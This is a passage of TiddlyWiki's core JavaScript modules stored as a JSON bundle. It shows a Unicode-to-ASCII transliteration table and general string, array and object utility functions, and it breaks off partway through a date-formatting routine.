Ṑ\":\"O\",\n\t\"Ɵ\":\"O\",\n\t\"Ǫ\":\"O\",\n\t\"Ǭ\":\"O\",\n\t\"Ø\":\"O\",\n\t\"Ǿ\":\"O\",\n\t\"Õ\":\"O\",\n\t\"Ṍ\":\"O\",\n\t\"Ṏ\":\"O\",\n\t\"Ȭ\":\"O\",\n\t\"Ƣ\":\"OI\",\n\t\"Ꝏ\":\"OO\",\n\t\"Ɛ\":\"E\",\n\t\"Ɔ\":\"O\",\n\t\"Ȣ\":\"OU\",\n\t\"Ṕ\":\"P\",\n\t\"Ṗ\":\"P\",\n\t\"Ꝓ\":\"P\",\n\t\"Ƥ\":\"P\",\n\t\"Ꝕ\":\"P\",\n\t\"Ᵽ\":\"P\",\n\t\"Ꝑ\":\"P\",\n\t\"Ꝙ\":\"Q\",\n\t\"Ꝗ\":\"Q\",\n\t\"Ŕ\":\"R\",\n\t\"Ř\":\"R\",\n\t\"Ŗ\":\"R\",\n\t\"Ṙ\":\"R\",\n\t\"Ṛ\":\"R\",\n\t\"Ṝ\":\"R\",\n\t\"Ȑ\":\"R\",\n\t\"Ȓ\":\"R\",\n\t\"Ṟ\":\"R\",\n\t\"Ɍ\":\"R\",\n\t\"Ɽ\":\"R\",\n\t\"Ꜿ\":\"C\",\n\t\"Ǝ\":\"E\",\n\t\"Ś\":\"S\",\n\t\"Ṥ\":\"S\",\n\t\"Š\":\"S\",\n\t\"Ṧ\":\"S\",\n\t\"Ş\":\"S\",\n\t\"Ŝ\":\"S\",\n\t\"Ș\":\"S\",\n\t\"Ṡ\":\"S\",\n\t\"Ṣ\":\"S\",\n\t\"Ṩ\":\"S\",\n\t\"Ť\":\"T\",\n\t\"Ţ\":\"T\",\n\t\"Ṱ\":\"T\",\n\t\"Ț\":\"T\",\n\t\"Ⱦ\":\"T\",\n\t\"Ṫ\":\"T\",\n\t\"Ṭ\":\"T\",\n\t\"Ƭ\":\"T\",\n\t\"Ṯ\":\"T\",\n\t\"Ʈ\":\"T\",\n\t\"Ŧ\":\"T\",\n\t\"Ɐ\":\"A\",\n\t\"Ꞁ\":\"L\",\n\t\"Ɯ\":\"M\",\n\t\"Ʌ\":\"V\",\n\t\"Ꜩ\":\"TZ\",\n\t\"Ú\":\"U\",\n\t\"Ŭ\":\"U\",\n\t\"Ǔ\":\"U\",\n\t\"Û\":\"U\",\n\t\"Ṷ\":\"U\",\n\t\"Ü\":\"U\",\n\t\"Ǘ\":\"U\",\n\t\"Ǚ\":\"U\",\n\t\"Ǜ\":\"U\",\n\t\"Ǖ\":\"U\",\n\t\"Ṳ\":\"U\",\n\t\"Ụ\":\"U\",\n\t\"Ű\":\"U\",\n\t\"Ȕ\":\"U\",\n\t\"Ù\":\"U\",\n\t\"Ủ\":\"U\",\n\t\"Ư\":\"U\",\n\t\"Ứ\":\"U\",\n\t\"Ự\":\"U\",\n\t\"Ừ\":\"U\",\n\t\"Ử\":\"U\",\n\t\"Ữ\":\"U\",\n\t\"Ȗ\":\"U\",\n\t\"Ū\":\"U\",\n\t\"Ṻ\":\"U\",\n\t\"Ų\":\"U\",\n\t\"Ů\":\"U\",\n\t\"Ũ\":\"U\",\n\t\"Ṹ\":\"U\",\n\t\"Ṵ\":\"U\",\n\t\"Ꝟ\":\"V\",\n\t\"Ṿ\":\"V\",\n\t\"Ʋ\":\"V\",\n\t\"Ṽ\":\"V\",\n\t\"Ꝡ\":\"VY\",\n\t\"Ẃ\":\"W\",\n\t\"Ŵ\":\"W\",\n\t\"Ẅ\":\"W\",\n\t\"Ẇ\":\"W\",\n\t\"Ẉ\":\"W\",\n\t\"Ẁ\":\"W\",\n\t\"Ⱳ\":\"W\",\n\t\"Ẍ\":\"X\",\n\t\"Ẋ\":\"X\",\n\t\"Ý\":\"Y\",\n\t\"Ŷ\":\"Y\",\n\t\"Ÿ\":\"Y\",\n\t\"Ẏ\":\"Y\",\n\t\"Ỵ\":\"Y\",\n\t\"Ỳ\":\"Y\",\n\t\"Ƴ\":\"Y\",\n\t\"Ỷ\":\"Y\",\n\t\"Ỿ\":\"Y\",\n\t\"Ȳ\":\"Y\",\n\t\"Ɏ\":\"Y\",\n\t\"Ỹ\":\"Y\",\n\t\"Ź\":\"Z\",\n\t\"Ž\":\"Z\",\n\t\"Ẑ\":\"Z\",\n\t\"Ⱬ\":\"Z\",\n\t\"Ż\":\"Z\",\n\t\"Ẓ\":\"Z\",\n\t\"Ȥ\":\"Z\",\n\t\"Ẕ\":\"Z\",\n\t\"Ƶ\":\"Z\",\n\t\"IJ\":\"IJ\",\n\t\"Œ\":\"OE\",\n\t\"ᴀ\":\"A\",\n\t\"ᴁ\":\"AE\",\n\t\"ʙ\":\"B\",\n\t\"ᴃ\":\"B\",\n\t\"ᴄ\":\"C\",\n\t\"ᴅ\":\"D\",\n\t\"ᴇ\":\"E\",\n\t\"ꜰ\":\"F\",\n\t\"ɢ\":\"G\",\n\t\"ʛ\":\"G\",\n\t\"ʜ\":\"H\",\n\t\"ɪ\":\"I\",\n\t\"ʁ\":\"R\",\n\t\"ᴊ\":\"J\",\n\t\"ᴋ\":\"K\",\n\t\"ʟ\":\"L\",\n\t\"ᴌ\":\"L\",\n\t\"ᴍ\":\"M\",\n\t\"ɴ\":\"N\",\n\t\"ᴏ\":\"O\",\n\t\"ɶ\":\"OE\",\n\t\"ᴐ\":\"O\",\n\t\"ᴕ\":\"OU\",\n\t\"ᴘ\":\"P\",\n\t\"ʀ\":\"R\",\n\t\"ᴎ\":\"N\",\n\t\"ᴙ\":\"R\",\n\t\"ꜱ\":\"S\",\n\t\"ᴛ\":\"T\",\n\t\"ⱻ\":\"E\",\n\t\"ᴚ\":\"R\",\n\t\"ᴜ\":\"U\",\n\t\"ᴠ\":\"V\",\n\t\"ᴡ\":\"W\",\n\t\"ʏ\":\"Y\",\n\t\"ᴢ\":\"Z\",\n\t\"á\":\"a\",\n\t\"ă\":\"a\",\n\t\"ắ\":\"a\",\n\t\"ặ\":\"a\",\n\t\"ằ\":\"a\",\n\t\"ẳ\":\"a\",\n\t\"ẵ\":\"a\",\n\t\"ǎ\":\"a\",\n\t\"â\":\"a\",\n\t\"ấ\":\"a\",\n\t\"ậ\":\"a\",\n\t\"ầ\":\"a\",\n\t\"ẩ\":\"a\",\n\t\"ẫ\":\"a\",\n\t\"ä\":\"a\",\n\t\"ǟ\":\"a\",\n\t\"ȧ\":\"a\",\n\t\"ǡ\":\"a\",\n\t\"ạ\":\"a\",\n\t\"ȁ\":\"a\",\n\t\"à\":\"a\",\n\t\"ả\":\"a\",\n\t\"ȃ\":\"a\",\n\t\"ā\":\"a\",\n\t\"ą\":\"a\",\n\t\"ᶏ\":\"a\",\n\t\"ẚ\":\"a\",\n\t\"å\":\"a\",\n\t\"ǻ\":\"a\",\n\t\"ḁ\":\"a\",\n\t\"ⱥ\":\"a\",\n\t\"ã\":\"a\",\n\t\"ꜳ\":\"aa\",\n\t\"æ\":\"ae\",\n\t\"ǽ\":\"ae\",\n\t\"ǣ\":\"ae\",\n\t\"ꜵ\":\"ao\",\n\t\"ꜷ\":\"au\",\n\t\"ꜹ\":\"av\",\n\t\"ꜻ\":\"av\",\n\t\"ꜽ\":\"ay\",\n\t\"ḃ\":\"b\",\n\t\"ḅ\":\"b\",\n\t\"ɓ\":\"b\",\n\t\"ḇ\":\"b\",\n\t\"ᵬ\":\"b\",\n\t\"ᶀ\":\"b\",\n\t\"ƀ\":\"b\",\n\t\"ƃ\":\"b\",\n\t\"ɵ\":\"o\",\n\t\"ć\":\"c\",\n\t\"č\":\"c\",\n\t\"ç\":\"c\",\n\t\"ḉ\":\"c\",\n\t\"ĉ\":\"c\",\n\t\"ɕ\":\"c\",\n\t\"ċ\":\"c\",\n\t\"ƈ\":\"c\",\n\t\"ȼ\":\"c\",\n\t\"ď\":\"d\",\n\t\"ḑ\":\"d\",\n\t\"ḓ\":\"d\",\n\t\"ȡ\":\"d\",\n\t\"ḋ\":\"d\",\n\t\"ḍ\":\"d\",\n\t\"ɗ\":\"d\",\n\t\"ᶑ\":\"d\",\n\t\"ḏ\":\"d\",\n\t\"ᵭ\":\"d\",\n\t\"ᶁ\":\"d\",\n\t\"đ\":\"d\",\n\t\"ɖ\":\"d\",\n\t\"ƌ\":\"d\",\n\t\"ı\":\"i\",\n\t\"ȷ\":\"j\",\n\t\"ɟ\":\"j\",\n\t\"ʄ\":\"j\",\n\t\"dz\":\"dz\",\n\t\"dž\":\"dz\",\n\t\"é\":\"e\",\n\t\"ĕ\":\"e\",\n\t\"ě\":\"e\",\n\t\"ȩ\":\"e\",\n\t\"ḝ\":\"e\",\n\t\"ê\":\"e\",\n\t\"ế\":\"e\",\n\t\"ệ\":\"e\",\n\t\"ề\":\"e\",\n\t\"ể\":\"e\",\n\t\"ễ\":\"e\",\n\t\"ḙ\":\"e\",\n\t\"ë\":\"e\",\n\t\"ė\":\"e\",\n\t\"ẹ\":\"e\",\n\t\"ȅ\":\"e\",\n\t\"è\":\"e\",\n\t\"ẻ\":\"e\",\n\t\"ȇ\":\"e\",\n\t\"ē\":\"e\",\n\t\"ḗ\":\"e\",\n\t\"ḕ\":\"e\",\n\t\"ⱸ\":\"e\",\n\t\"ę\":\"e\",\n\t\"ᶒ\":\"e\",\n\t\"ɇ\":\"e\",\n\t\"ẽ\":\"e\",\n\t\"ḛ\":\"e\",\n\t\"ꝫ\":\"et\",\n\t\"ḟ\":\"f\",\n\t\"ƒ\":\"f\",\n\t\"ᵮ\":\"f\",\n\t\"ᶂ\":\"f\",\n\t\"ǵ\":\"g\",\n\t\"ğ\":\"g\",\n\t\"ǧ\":\"g\",\n\t\"ģ\":\"g\",\n\t\"ĝ\":\"g\",\n\t\"ġ\":\"g\",\n\t\"ɠ\":\"g\",\n\t\"ḡ\":\"g\",\n\t\"ᶃ\":\"g\",\n\t\"ǥ\":\"g\",\n\t\"ḫ\":\"h\",\n\t\"ȟ\":\"h\",\n\t\"ḩ\":\"h\",\n\t\"ĥ\":\"h\",\n\t\"ⱨ\":\"h\",\n\t\"ḧ\":\"h\",\n\t\"ḣ\":\"h\",\n\t\"ḥ\":\"h\",\n\t\"ɦ\":\"h\",\n\t\"ẖ\":\"h\",\n\t\"ħ\":\"h\",\n\t\"ƕ\":\"hv\",\n\t\"í\":\"i\",\n\t\"ĭ\":\"i\",\n\t\"ǐ\":\"i\",\n\t\"î\":\"i\",\n\t\"ï\":\"i\",\n\t\"ḯ\":\"i\",\n\t\"ị\":\"i\",\n\t\"ȉ\":\"i\",\n\t\"ì\":\"i\",\n\t\"ỉ\":\"i\",\n\t\"ȋ\":\"i\",\n\t\"ī\":\"i\",\n\t\"į\":\"i\",\n\t\"ᶖ\":\"i\",\n\t\"ɨ\":\"i\",\n\t\"ĩ\":\"i\",\n\t\"ḭ\":\"i\",\n\t\"ꝺ\":\"d\",\n\t\"ꝼ\":\"f\",\n\t\"ᵹ\":\"g\",\n\t\"ꞃ\":\"r\",\n\t\"ꞅ\":\"s\",\n\t\"ꞇ\":\"t\",\n\t\"ꝭ\":\"is\",\n\t\"ǰ\":\"j\",\n\t\"ĵ\":\"j\",\n\t\"ʝ\":\"j\",\n\t\"ɉ\":\"j\",\n\t\"ḱ\":\"k\",\n\t\"ǩ\":\"k\",\n\t\"ķ\":\"k\",\n\t\"ⱪ\":\"k\",\n\t\"ꝃ\":\"k\",\n\t\"ḳ\":\"k\",\n\t\"ƙ\":\"k\",\n\t\"ḵ\":\"k\",\n\t\"ᶄ\":\"k\",\n\t\"ꝁ\":\"k\",\n\t\"ꝅ\":\"k\",\n\t\"ĺ\":\"l\",\n\t\"ƚ\":\"l\",\n\t\"ɬ\":\"l\",\n\t\"ľ\":\"l\",\n\t\"ļ\":\"l\",\n\t\"ḽ\":\"l\",\n\t\"ȴ\":\"l\",\n\t\"ḷ\":\"l\",\n\t\"ḹ\":\"l\",\n\t\"ⱡ\":\"l\",\n\t\"ꝉ\":\"l\",\n\t\"ḻ\":\"l\",\n\t\"ŀ\":\"l\",\n\t\"ɫ\":\"l\",\n\t\"ᶅ\":\"l\",\n\t\"ɭ\":\"l\",\n\t\"ł\":\"l\",\n\t\"lj\":\"lj\",\n\t\"ſ\":\"s\",\n\t\"ẜ\":\"s\",\n\t\"ẛ\":\"s\",\n\t\"ẝ\":\"s\",\n\t\"ḿ\":\"m\",\n\t\"ṁ\":\"m\",\n\t\"ṃ\":\"m\",\n\t\"ɱ\":\"m\",\n\t\"ᵯ\":\"m\",\n\t\"ᶆ\":\"m\",\n\t\"ń\":\"n\",\n\t\"ň\":\"n\",\n\t\"ņ\":\"n\",\n\t\"ṋ\":\"n\",\n\t\"ȵ\":\"n\",\n\t\"ṅ\":\"n\",\n\t\"ṇ\":\"n\",\n\t\"ǹ\":\"n\",\n\t\"ɲ\":\"n\",\n\t\"ṉ\":\"n\",\n\t\"ƞ\":\"n\",\n\t\"ᵰ\":\"n\",\n\t\"ᶇ\":\"n\",\n\t\"ɳ\":\"n\",\n\t\"ñ\":\"n\",\n\t\"nj\":\"nj\",\n\t\"ó\":\"o\",\n\t\"ŏ\":\"o\",\n\t\"ǒ\":\"o\",\n\t\"ô\":\"o\",\n\t\"ố\":\"o\",\n\t\"ộ\":\"o\",\n\t\"ồ\":\"o\",\n\t\"ổ\":\"o\",\n\t\"ỗ\":\"o\",\n\t\"ö\":\"o\",\n\t\"ȫ\":\"o\",\n\t\"ȯ\":\"o\",\n\t\"ȱ\":\"o\",\n\t\"ọ\":\"o\",\n\t\"ő\":\"o\",\n\t\"ȍ\":\"o\",\n\t\"ò\":\"o\",\n\t\"ỏ\":\"o\",\n\t\"ơ\":\"o\",\n\t\"ớ\":\"o\",\n\t\"ợ\":\"o\",\n\t\"ờ\":\"o\",\n\t\"ở\":\"o\",\n\t\"ỡ\":\"o\",\n\t\"ȏ\":\"o\",\n\t\"ꝋ\":\"o\",\n\t\"ꝍ\":\"o\",\n\t\"ⱺ\":\"o\",\n\t\"ō\":\"o\",\n\t\"ṓ\":\"o\",\n\t\"ṑ\":\"o\",\n\t\"ǫ\":\"o\",\n\t\"ǭ\":\"o\",\n\t\"ø\":\"o\",\n\t\"ǿ\":\"o\",\n\t\"õ\":\"o\",\n\t\"ṍ\":\"o\",\n\t\"ṏ\":\"o\",\n\t\"ȭ\":\"o\",\n\t\"ƣ\":\"oi\",\n\t\"ꝏ\":\"oo\",\n\t\"ɛ\":\"e\",\n\t\"ᶓ\":\"e\",\n\t\"ɔ\":\"o\",\n\t\"ᶗ\":\"o\",\n\t\"ȣ\":\"ou\",\n\t\"ṕ\":\"p\",\n\t\"ṗ\":\"p\",\n\t\"ꝓ\":\"p\",\n\t\"ƥ\":\"p\",\n\t\"ᵱ\":\"p\",\n\t\"ᶈ\":\"p\",\n\t\"ꝕ\":\"p\",\n\t\"ᵽ\":\"p\",\n\t\"ꝑ\":\"p\",\n\t\"ꝙ\":\"q\",\n\t\"ʠ\":\"q\",\n\t\"ɋ\":\"q\",\n\t\"ꝗ\":\"q\",\n\t\"ŕ\":\"r\",\n\t\"ř\":\"r\",\n\t\"ŗ\":\"r\",\n\t\"ṙ\":\"r\",\n\t\"ṛ\":\"r\",\n\t\"ṝ\":\"r\",\n\t\"ȑ\":\"r\",\n\t\"ɾ\":\"r\",\n\t\"ᵳ\":\"r\",\n\t\"ȓ\":\"r\",\n\t\"ṟ\":\"r\",\n\t\"ɼ\":\"r\",\n\t\"ᵲ\":\"r\",\n\t\"ᶉ\":\"r\",\n\t\"ɍ\":\"r\",\n\t\"ɽ\":\"r\",\n\t\"ↄ\":\"c\",\n\t\"ꜿ\":\"c\",\n\t\"ɘ\":\"e\",\n\t\"ɿ\":\"r\",\n\t\"ś\":\"s\",\n\t\"ṥ\":\"s\",\n\t\"š\":\"s\",\n\t\"ṧ\":\"s\",\n\t\"ş\":\"s\",\n\t\"ŝ\":\"s\",\n\t\"ș\":\"s\",\n\t\"ṡ\":\"s\",\n\t\"ṣ\":\"s\",\n\t\"ṩ\":\"s\",\n\t\"ʂ\":\"s\",\n\t\"ᵴ\":\"s\",\n\t\"ᶊ\":\"s\",\n\t\"ȿ\":\"s\",\n\t\"ɡ\":\"g\",\n\t\"ᴑ\":\"o\",\n\t\"ᴓ\":\"o\",\n\t\"ᴝ\":\"u\",\n\t\"ť\":\"t\",\n\t\"ţ\":\"t\",\n\t\"ṱ\":\"t\",\n\t\"ț\":\"t\",\n\t\"ȶ\":\"t\",\n\t\"ẗ\":\"t\",\n\t\"ⱦ\":\"t\",\n\t\"ṫ\":\"t\",\n\t\"ṭ\":\"t\",\n\t\"ƭ\":\"t\",\n\t\"ṯ\":\"t\",\n\t\"ᵵ\":\"t\",\n\t\"ƫ\":\"t\",\n\t\"ʈ\":\"t\",\n\t\"ŧ\":\"t\",\n\t\"ᵺ\":\"th\",\n\t\"ɐ\":\"a\",\n\t\"ᴂ\":\"ae\",\n\t\"ǝ\":\"e\",\n\t\"ᵷ\":\"g\",\n\t\"ɥ\":\"h\",\n\t\"ʮ\":\"h\",\n\t\"ʯ\":\"h\",\n\t\"ᴉ\":\"i\",\n\t\"ʞ\":\"k\",\n\t\"ꞁ\":\"l\",\n\t\"ɯ\":\"m\",\n\t\"ɰ\":\"m\",\n\t\"ᴔ\":\"oe\",\n\t\"ɹ\":\"r\",\n\t\"ɻ\":\"r\",\n\t\"ɺ\":\"r\",\n\t\"ⱹ\":\"r\",\n\t\"ʇ\":\"t\",\n\t\"ʌ\":\"v\",\n\t\"ʍ\":\"w\",\n\t\"ʎ\":\"y\",\n\t\"ꜩ\":\"tz\",\n\t\"ú\":\"u\",\n\t\"ŭ\":\"u\",\n\t\"ǔ\":\"u\",\n\t\"û\":\"u\",\n\t\"ṷ\":\"u\",\n\t\"ü\":\"u\",\n\t\"ǘ\":\"u\",\n\t\"ǚ\":\"u\",\n\t\"ǜ\":\"u\",\n\t\"ǖ\":\"u\",\n\t\"ṳ\":\"u\",\n\t\"ụ\":\"u\",\n\t\"ű\":\"u\",\n\t\"ȕ\":\"u\",\n\t\"ù\":\"u\",\n\t\"ủ\":\"u\",\n\t\"ư\":\"u\",\n\t\"ứ\":\"u\",\n\t\"ự\":\"u\",\n\t\"ừ\":\"u\",\n\t\"ử\":\"u\",\n\t\"ữ\":\"u\",\n\t\"ȗ\":\"u\",\n\t\"ū\":\"u\",\n\t\"ṻ\":\"u\",\n\t\"ų\":\"u\",\n\t\"ᶙ\":\"u\",\n\t\"ů\":\"u\",\n\t\"ũ\":\"u\",\n\t\"ṹ\":\"u\",\n\t\"ṵ\":\"u\",\n\t\"ᵫ\":\"ue\",\n\t\"ꝸ\":\"um\",\n\t\"ⱴ\":\"v\",\n\t\"ꝟ\":\"v\",\n\t\"ṿ\":\"v\",\n\t\"ʋ\":\"v\",\n\t\"ᶌ\":\"v\",\n\t\"ⱱ\":\"v\",\n\t\"ṽ\":\"v\",\n\t\"ꝡ\":\"vy\",\n\t\"ẃ\":\"w\",\n\t\"ŵ\":\"w\",\n\t\"ẅ\":\"w\",\n\t\"ẇ\":\"w\",\n\t\"ẉ\":\"w\",\n\t\"ẁ\":\"w\",\n\t\"ⱳ\":\"w\",\n\t\"ẘ\":\"w\",\n\t\"ẍ\":\"x\",\n\t\"ẋ\":\"x\",\n\t\"ᶍ\":\"x\",\n\t\"ý\":\"y\",\n\t\"ŷ\":\"y\",\n\t\"ÿ\":\"y\",\n\t\"ẏ\":\"y\",\n\t\"ỵ\":\"y\",\n\t\"ỳ\":\"y\",\n\t\"ƴ\":\"y\",\n\t\"ỷ\":\"y\",\n\t\"ỿ\":\"y\",\n\t\"ȳ\":\"y\",\n\t\"ẙ\":\"y\",\n\t\"ɏ\":\"y\",\n\t\"ỹ\":\"y\",\n\t\"ź\":\"z\",\n\t\"ž\":\"z\",\n\t\"ẑ\":\"z\",\n\t\"ʑ\":\"z\",\n\t\"ⱬ\":\"z\",\n\t\"ż\":\"z\",\n\t\"ẓ\":\"z\",\n\t\"ȥ\":\"z\",\n\t\"ẕ\":\"z\",\n\t\"ᵶ\":\"z\",\n\t\"ᶎ\":\"z\",\n\t\"ʐ\":\"z\",\n\t\"ƶ\":\"z\",\n\t\"ɀ\":\"z\",\n\t\"ff\":\"ff\",\n\t\"ffi\":\"ffi\",\n\t\"ffl\":\"ffl\",\n\t\"fi\":\"fi\",\n\t\"fl\":\"fl\",\n\t\"ij\":\"ij\",\n\t\"œ\":\"oe\",\n\t\"st\":\"st\",\n\t\"ₐ\":\"a\",\n\t\"ₑ\":\"e\",\n\t\"ᵢ\":\"i\",\n\t\"ⱼ\":\"j\",\n\t\"ₒ\":\"o\",\n\t\"ᵣ\":\"r\",\n\t\"ᵤ\":\"u\",\n\t\"ᵥ\":\"v\",\n\t\"ₓ\":\"x\",\n\t\"Ё\":\"YO\",\n\t\"Й\":\"I\",\n\t\"Ц\":\"TS\",\n\t\"У\":\"U\",\n\t\"К\":\"K\",\n\t\"Е\":\"E\",\n\t\"Н\":\"N\",\n\t\"Г\":\"G\",\n\t\"Ш\":\"SH\",\n\t\"Щ\":\"SCH\",\n\t\"З\":\"Z\",\n\t\"Х\":\"H\",\n\t\"Ъ\":\"'\",\n\t\"ё\":\"yo\",\n\t\"й\":\"i\",\n\t\"ц\":\"ts\",\n\t\"у\":\"u\",\n\t\"к\":\"k\",\n\t\"е\":\"e\",\n\t\"н\":\"n\",\n\t\"г\":\"g\",\n\t\"ш\":\"sh\",\n\t\"щ\":\"sch\",\n\t\"з\":\"z\",\n\t\"х\":\"h\",\n\t\"ъ\":\"'\",\n\t\"Ф\":\"F\",\n\t\"Ы\":\"I\",\n\t\"В\":\"V\",\n\t\"А\":\"a\",\n\t\"П\":\"P\",\n\t\"Р\":\"R\",\n\t\"О\":\"O\",\n\t\"Л\":\"L\",\n\t\"Д\":\"D\",\n\t\"Ж\":\"ZH\",\n\t\"Э\":\"E\",\n\t\"ф\":\"f\",\n\t\"ы\":\"i\",\n\t\"в\":\"v\",\n\t\"а\":\"a\",\n\t\"п\":\"p\",\n\t\"р\":\"r\",\n\t\"о\":\"o\",\n\t\"л\":\"l\",\n\t\"д\":\"d\",\n\t\"ж\":\"zh\",\n\t\"э\":\"e\",\n\t\"Я\":\"Ya\",\n\t\"Ч\":\"CH\",\n\t\"С\":\"S\",\n\t\"М\":\"M\",\n\t\"И\":\"I\",\n\t\"Т\":\"T\",\n\t\"Ь\":\"'\",\n\t\"Б\":\"B\",\n\t\"Ю\":\"YU\",\n\t\"я\":\"ya\",\n\t\"ч\":\"ch\",\n\t\"с\":\"s\",\n\t\"м\":\"m\",\n\t\"и\":\"i\",\n\t\"т\":\"t\",\n\t\"ь\":\"'\",\n\t\"б\":\"b\",\n\t\"ю\":\"yu\"\n};\n\nexports.transliterate = function(str) {\n\treturn str.replace(/[^A-Za-z0-9\\[\\] ]/g,function(ch) {\n\t\treturn exports.transliterationPairs[ch] || ch\n\t});\n};\n\nexports.transliterateToSafeASCII = function(str) {\n\treturn str.replace(/[^\\x00-\\x7F]/g,function(ch) {\n\t\treturn exports.transliterationPairs[ch] || \"\"\n\t});\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/utils.js": {
"title": "$:/core/modules/utils/utils.js",
"text": "/*\\\ntitle: $:/core/modules/utils/utils.js\ntype: application/javascript\nmodule-type: utils\n\nVarious static utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar base64utf8 = require(\"$:/core/modules/utils/base64-utf8/base64-utf8.module.js\");\n\n/*\nDisplay a message, in colour if we're on a terminal\n*/\nexports.log = function(text,colour) {\n\tconsole.log($tw.node ? exports.terminalColour(colour) + text + exports.terminalColour() : text);\n};\n\nexports.terminalColour = function(colour) {\n\tif(!$tw.browser && $tw.node && process.stdout.isTTY) {\n\t\tif(colour) {\n\t\t\tvar code = exports.terminalColourLookup[colour];\n\t\t\tif(code) {\n\t\t\t\treturn \"\\x1b[\" + code + \"m\";\n\t\t\t}\n\t\t} else {\n\t\t\treturn \"\\x1b[0m\"; // Cancel colour\n\t\t}\n\t}\n\treturn \"\";\n};\n\nexports.terminalColourLookup = {\n\t\"black\": \"0;30\",\n\t\"red\": \"0;31\",\n\t\"green\": \"0;32\",\n\t\"brown/orange\": \"0;33\",\n\t\"blue\": \"0;34\",\n\t\"purple\": \"0;35\",\n\t\"cyan\": \"0;36\",\n\t\"light gray\": \"0;37\"\n};\n\n/*\nDisplay a warning, in colour if we're on a terminal\n*/\nexports.warning = function(text) {\n\texports.log(text,\"brown/orange\");\n};\n\n/*\nReturn the integer represented by the str (string).\nReturn the dflt (default) parameter if str is not a base-10 number.\n*/\nexports.getInt = function(str,deflt) {\n\tvar i = parseInt(str,10);\n\treturn isNaN(i) ? deflt : i;\n}\n\n/*\nRepeatedly replaces a substring within a string. Like String.prototype.replace, but without any of the default special handling of $ sequences in the replace string\n*/\nexports.replaceString = function(text,search,replace) {\n\treturn text.replace(search,function() {\n\t\treturn replace;\n\t});\n};\n\n/*\nRepeats a string\n*/\nexports.repeat = function(str,count) {\n\tvar result = \"\";\n\tfor(var t=0;t<count;t++) {\n\t\tresult += str;\n\t}\n\treturn result;\n};\n\n/*\nTrim whitespace from the start and end of a string\nThanks to Steven Levithan, http://blog.stevenlevithan.com/archives/faster-trim-javascript\n*/\nexports.trim = function(str) {\n\tif(typeof str === \"string\") {\n\t\treturn str.replace(/^\\s\\s*/, '').replace(/\\s\\s*$/, '');\n\t} else {\n\t\treturn str;\n\t}\n};\n\n/*\nConvert a string to sentence case (ie capitalise first letter)\n*/\nexports.toSentenceCase = function(str) {\n\treturn (str || \"\").replace(/^\\S/, function(c) {return c.toUpperCase();});\n}\n\n/*\nConvert a string to title case (ie capitalise each initial letter)\n*/\nexports.toTitleCase = function(str) {\n\treturn (str || \"\").replace(/(^|\\s)\\S/g, function(c) {return c.toUpperCase();});\n}\n\t\n/*\nFind the line break preceding a given position in a string\nReturns position immediately after that line break, or the start of the string\n*/\nexports.findPrecedingLineBreak = function(text,pos) {\n\tvar result = text.lastIndexOf(\"\\n\",pos - 1);\n\tif(result === -1) {\n\t\tresult = 0;\n\t} else {\n\t\tresult++;\n\t\tif(text.charAt(result) === \"\\r\") {\n\t\t\tresult++;\n\t\t}\n\t}\n\treturn result;\n};\n\n/*\nFind the line break following a given position in a string\n*/\nexports.findFollowingLineBreak = function(text,pos) {\n\t// Cut to just past the following line break, or to the end of the text\n\tvar result = text.indexOf(\"\\n\",pos);\n\tif(result === -1) {\n\t\tresult = text.length;\n\t} else {\n\t\tif(text.charAt(result) === \"\\r\") {\n\t\t\tresult++;\n\t\t}\n\t}\n\treturn result;\n};\n\n/*\nReturn the number of keys in an object\n*/\nexports.count = function(object) {\n\treturn Object.keys(object || {}).length;\n};\n\n/*\nDetermine whether an array-item is an object-property\n*/\nexports.hopArray = function(object,array) {\n\tfor(var i=0; i<array.length; i++) {\n\t\tif($tw.utils.hop(object,array[i])) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\n/*\nRemove entries from an array\n\tarray: array to modify\n\tvalue: a single value to remove, or an array of values to remove\n*/\nexports.removeArrayEntries = function(array,value) {\n\tvar t,p;\n\tif($tw.utils.isArray(value)) {\n\t\tfor(t=0; t<value.length; t++) {\n\t\t\tp = array.indexOf(value[t]);\n\t\t\tif(p !== -1) {\n\t\t\t\tarray.splice(p,1);\n\t\t\t}\n\t\t}\n\t} else {\n\t\tp = array.indexOf(value);\n\t\tif(p !== -1) {\n\t\t\tarray.splice(p,1);\n\t\t}\n\t}\n};\n\n/*\nCheck whether any members of a hashmap are present in another hashmap\n*/\nexports.checkDependencies = function(dependencies,changes) {\n\tvar hit = false;\n\t$tw.utils.each(changes,function(change,title) {\n\t\tif($tw.utils.hop(dependencies,title)) {\n\t\t\thit = true;\n\t\t}\n\t});\n\treturn hit;\n};\n\nexports.extend = function(object /* [, src] */) {\n\t$tw.utils.each(Array.prototype.slice.call(arguments, 1), function(source) {\n\t\tif(source) {\n\t\t\tfor(var property in source) {\n\t\t\t\tobject[property] = source[property];\n\t\t\t}\n\t\t}\n\t});\n\treturn object;\n};\n\nexports.deepCopy = function(object) {\n\tvar result,t;\n\tif($tw.utils.isArray(object)) {\n\t\t// Copy arrays\n\t\tresult = object.slice(0);\n\t} else if(typeof object === \"object\") {\n\t\tresult = {};\n\t\tfor(t in object) {\n\t\t\tif(object[t] !== undefined) {\n\t\t\t\tresult[t] = $tw.utils.deepCopy(object[t]);\n\t\t\t}\n\t\t}\n\t} else {\n\t\tresult = object;\n\t}\n\treturn result;\n};\n\nexports.extendDeepCopy = function(object,extendedProperties) {\n\tvar result = $tw.utils.deepCopy(object),t;\n\tfor(t in extendedProperties) {\n\t\tif(extendedProperties[t] !== undefined) {\n\t\t\tresult[t] = $tw.utils.deepCopy(extendedProperties[t]);\n\t\t}\n\t}\n\treturn result;\n};\n\nexports.deepFreeze = function deepFreeze(object) {\n\tvar property, key;\n\tif(object) {\n\t\tObject.freeze(object);\n\t\tfor(key in object) {\n\t\t\tproperty = object[key];\n\t\t\tif($tw.utils.hop(object,key) && (typeof property === \"object\") && !Object.isFrozen(property)) {\n\t\t\t\tdeepFreeze(property);\n\t\t\t}\n\t\t}\n\t}\n};\n\nexports.slowInSlowOut = function(t) {\n\treturn (1 - ((Math.cos(t * Math.PI) + 1) / 2));\n};\n\nexports.formatDateString = function(date,template) {\n\tvar result = \"\",\n\t\tt = template,\n\t\tmatches = [\n\t\t\t[/^0hh12/, function() {\n\t\t\t\treturn $tw.utils.pad($tw.utils.getHours12(date));\n\t\t\t}],\n\t\t\t[/^wYYYY/, function() 